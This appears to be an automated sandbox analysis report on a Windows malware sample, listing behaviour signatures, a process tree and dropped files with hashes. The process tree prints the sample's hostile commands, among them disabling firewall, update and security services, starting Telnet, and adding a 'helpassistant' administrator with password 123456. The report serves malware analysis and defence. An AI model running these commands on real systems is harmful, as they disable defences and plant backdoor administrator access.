Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 06:35

General

  • Target
    2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
  • Size 2.1MB
  • Sample260809-hcfh3ssdpf
  • SHA256 37f9a252450c276e8c06806a4d7e3de228312db4c694c593fbaa6ad56dfb802f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2804
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:5020
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re~1.Doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:2364
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3672
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3656
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5732
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3436
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4328
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5492
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:912
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4248
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2612
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1140
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2328
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:956
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4784
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1216
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5688
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3196
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3484
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3212
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5208
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5500

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 2.7MB
        • SHA256 475ce4e55be26d93d150cce4ad8541a77f1a23559bf16995a02418bc498b6a71
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 3.1MB
        • SHA256 d1512264e54f5778897a6d6aadc4c1dda0b28663611850ba42365ce66a362e97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 2.8MB
        • SHA256 806ec6aebe29b59c8789f055896683a1f006521b288f95c0383831c85c21826d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 2.1MB
        • SHA256 60c53cdb22bcd978659d8e06e613a08fc0d5a6d0af3a035e3652cf301b03bf55
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 8.2MB
        • SHA256 e8af0b1cffe248677223a385ad750a6d71c742143a104aad839efcde68892359
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 3.8MB
        • SHA256 4b156b3b2a1eac38ce269ba540cb1d8e018434607a10eb7464634272f11aee98
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 5.6MB
        • SHA256 4f20a7295295383ed7af0c1ad965c0c62c17f39d746c3a707addb17ea1117a20
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 4.4MB
        • SHA256 ebb469da09336cacfbae33b4c2ae313165dadcb707c8f7370d83ba31aac027fa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        notification_helper.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 3.8MB
        • SHA256 bc8717f65e1f366a7aafec996e63bc2e6c84c357e2ba2686dca262847ab42b78
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 4.0MB
        • SHA256 28d90fcdd46db8e4ee0451b821d94b5df5934fbb8a4998b2505cea44873f1a1c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 5.2MB
        • SHA256 7a7b4fe7a06f481a5bdac123e062138979eb8de05d6bb0ec9927fe0ea1a3373b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_proxy.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 3.5MB
        • SHA256 3e6850ab4f7f41cfc5b7958de29301b085fc2902ee3cb94caf016eb55e151f75
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 2.1MB
        • SHA256 38cd776aba3659784204c47e8b4041c8f80a2c47f9e3d717e6cd769c11857cc5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        extcheck.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 2.1MB
        • SHA256 afaa6abf94fd75cddc6ccc6fe1013146f6e1e6f016c485cf9c41cac9ed4400f1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 2.1MB
        • SHA256 a86a0e980ccf81c97b4ebaa0aad1c6c60158315492098dd36d9e392aff63da43
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 2.2MB
        • SHA256 c8d9d023d7538165a718303934c4065c175bc28e7714dd78666cc6f676e30263
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jar.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 2.1MB
        • SHA256 a991a9025659230682163db85d70744d965b5f6256c8e61ee72c7367281ab8a4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jarsigner.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 2.1MB
        • SHA256 d22bdc127bd7430f74c06305bd0f0d27598cddb592ad94ee630812f1b2a1668e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 2.3MB
        • SHA256 1afd4c31f2e178ad8831980f8e2861ce2f43f9a5502f2e03504613cf253723fa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 2.2MB
        • SHA256 cf1fc8dc1ee9e8fe898e2ff52ab38f5dd497305ec2ebed15631551c4c9ed9a4b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 2.2MB
        • SHA256 c73401c40a6e1098b0a084a359d6e2e506d0aa53d39f7da5f3116fae827d874d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 2.2MB
        • SHA256 0c5cc24044190062195d2b60d29841c505c8d137898d3a45a422087bf89dd4e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        TM02851227[[fn=sist02]].xsl

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl
        • Size 245KB
        • SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re~1.Doc

        • Path C:\Windows\SysWOW64\Drivers\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re~1.Doc
        • Size 5KB
        • SHA256 7cd0209e153828922a90b70a12b6224c53b8d2d912df50cf2edcced432db8ef1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 2.1MB
        • SHA256 e0080108900e3d57a12b974645b5536e3eb997f810a97b3b68476317226b0d19
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 e29e4cdae4ee902d448471caa7e99cde411e6e1627de228bacc4072fbf1f517b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 2fe7576d6d06751dfdb3c1becf6da9328336b681ea549a6955b8e24f3282b04a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 2d9d08dcb6a631108a5c8d502a8ff123e5bc9308d4052a138365487c68fb000b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 ea021cad40e1becec3b93702fd37f761a7063209e71e821a0081f45f7d1f9a4a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 0dc134b206b944df1f60a32c2e29c1ffc65e691a0935dec9d150427cfeae7437
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 712a3c8ae727b629cdb248ffa5d0969f0aea6ad7917299f691279b46276f67ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 536d6eef5db29ad91de138f1f814e0989a5c1aa24eef15d7a21b1b01060511a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 6591897d66817313c628a81ce07219c4ca5339684f6ccc4be2f734c7de5b4ac7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.1MB
        • SHA256 9040611cb44af603920b87421114a957097671d0ec534832d87241b5fe8582f8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2364-50-0x00007FF898D40000-0x00007FF898D50000-memory.dmp

        memory/2364-49-0x00007FF89B3A0000-0x00007FF89B3B0000-memory.dmp

        memory/2364-47-0x00007FF89B3A0000-0x00007FF89B3B0000-memory.dmp

        memory/2364-45-0x00007FF89B3A0000-0x00007FF89B3B0000-memory.dmp

        memory/2364-44-0x00007FF89B3A0000-0x00007FF89B3B0000-memory.dmp

        memory/2364-51-0x00007FF898D40000-0x00007FF898D50000-memory.dmp

        memory/2364-40-0x00007FF89B3A0000-0x00007FF89B3B0000-memory.dmp